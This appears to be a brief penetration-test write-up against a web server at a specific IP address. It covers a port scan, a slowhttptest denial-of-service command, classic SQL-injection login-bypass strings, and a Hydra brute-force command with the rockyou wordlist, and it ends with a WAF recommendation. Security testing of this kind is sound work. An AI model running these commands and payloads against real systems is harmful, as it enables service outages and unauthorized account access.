
Namp Scanning:

Ports Opened: 80 , 21337

Ports Filtered: 25, 119, 666, 800, 880, 5190, 8421, 51005

DDOS Test:

The webpage is vulnerable to SlowHTTP attack:

Tool Used in this activity: SlowHTTP

Using the Command : ./slowhttptest -B -c 65539 -g -o slowhttp -i 5 -r 
2000 -t GET -u http://83.212.174.87 -x 24 -p 3

the webpage could not handle all the requests came to it,



Solution: Introduce WAF like Cloudflare in front of the webpage, to protect it from such attacks.

SQL Injection Attacks:

while intercepting the traffic through HTTP proxy, I could find the below results:

Moving it to repeater to try bypassing the login page:

I have tried to below SQL injections combination to see if anything will work:



' or '1'='1
' or 1='1

1' or 1=1 -- -
' or '1'='1
' or ' 1=1

SQL Injection does not work with all combinations, so I shifted to use SQLMAP took in kali linux,

Using SQLMap tool to automate the SQL Injection attack:



examining the shell “util.sh” script, but could not find anything

Brute-forcing Login form:

Trying to Brute-force the password page using Hydra tool:

hydra -l admin -P /usr/share/wordlists/rockyou.txt 83.212.174.87 http-post-form
"/:password=^PASS^:Login Form"

tool kept running for about 2 hours without detecting in password.



Running Nikto tool, to identify possible web vulnerabilities:
using the command : nikto -h http://83.212.174.87.

No critical vulnerability found.

Conclusion:

DDOS Attack: Vulnerable
SQL Injection: Not Vulnerable
Brute-Forcing: Not Vulnerable

http://83.212.174.87/

